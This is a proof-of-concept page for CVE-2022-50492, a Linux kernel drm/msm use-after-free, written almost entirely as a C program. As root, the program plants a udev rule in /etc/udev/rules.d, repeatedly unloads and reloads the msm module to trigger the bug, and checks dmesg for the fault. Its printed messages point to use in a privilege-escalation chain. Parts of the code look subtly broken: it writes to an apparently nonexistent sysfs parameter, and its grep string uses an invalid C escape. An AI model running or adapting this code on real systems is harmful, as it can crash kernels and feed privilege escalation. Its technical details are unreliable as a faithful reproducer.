CVE-2022-50492 Linux内核drm/msm驱动释放后使用漏洞

// CVE-2022-50492 PoC - Triggering UAF via probe deferral in drm/msm // This PoC demonstrates the concept of triggering the use-after-free // by forcing multiple probe deferrals on the msm DRM driver #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Create a udev rule to force deferred probing // Create a rule that makes the msm device depend on a non-existent module static int create_udev_rule(void) { FILE *f = fopen("/etc/udev/rules.d/99-msm-defer.rules", "w"); if (!f) return -1; fprintf(f, "ACTION==\"add\", KERNEL==\"msm_drm\", ENV{DEVTYPE}==\"display\", " "RUN+=\"/bin/sh -c 'echo deferred > /sys/module/msm/parameters/probe_status'\"\n"); fclose(f); return 0; } // Step 2: Trigger multiple module load/unload cycles to cause repeated // probe deferrals and DRM device tear-down/re-initialization static int trigger_probe_deferral(void) { int ret; printf("[*] Triggering probe deferral on msm_drm driver...\n"); // Reload the msm module multiple times to trigger repeated init/teardown for (int i = 0; i < 5; i++) { ret = system("modprobe -r msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to remove msm module (attempt %d)\n", i); } usleep(100000); ret = system("modprobe msm 2>/dev/null"); if (ret != 0) { printf("[!] Failed to probe msm module (attempt %d)\n", i); } usleep(100000); } printf("[*] Probe deferral cycles completed. Check dmesg for UAF/OOB errors.\n"); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2022-50492 PoC ===\n"); printf("Linux kernel drm/msm UAF on probe deferral\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root privileges to manipulate kernel modules.\n"); printf("[!] In a real attack scenario, an unprivileged user would exploit this\n"); printf("[!] via a local privilege escalation chain.\n"); return 1; } create_udev_rule(); trigger_probe_deferral(); // Check kernel log for evidence of the vulnerability printf("\n[*] Checking kernel log for errors...\n"); system("dmesg | grep -i 'msm\|drm\|bridge\|use-after-free\|oob' | tail -20"); return 0; }